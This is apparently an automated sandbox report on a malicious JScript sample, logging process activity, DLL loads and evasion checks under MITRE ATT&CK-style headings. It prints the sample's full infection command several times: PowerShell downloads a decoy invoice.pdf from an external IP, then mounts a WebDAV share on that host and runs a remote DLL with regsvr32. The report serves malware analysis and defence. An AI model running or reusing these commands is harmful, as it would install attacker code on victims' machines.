Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9394.js.csv");ITextStream.WriteLine(" entry:8273 f:oksdnojql");ITextStream.WriteLine(" exec:2 f:oksdnojql");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49716

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4528			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5335			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7896	Thread sleep count: 4528 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7880	Thread sleep count: 5335 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7948	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7996	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5968	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7220	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 0000000E.00000002.2556963300.0000025B5A02B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@}e_[
Source: net.exe, 0000000C.00000002.1333464899.000001C7871AB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1333033511.000001C787148000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1325551413.000001C7871AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2558599422.0000025B5F654000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
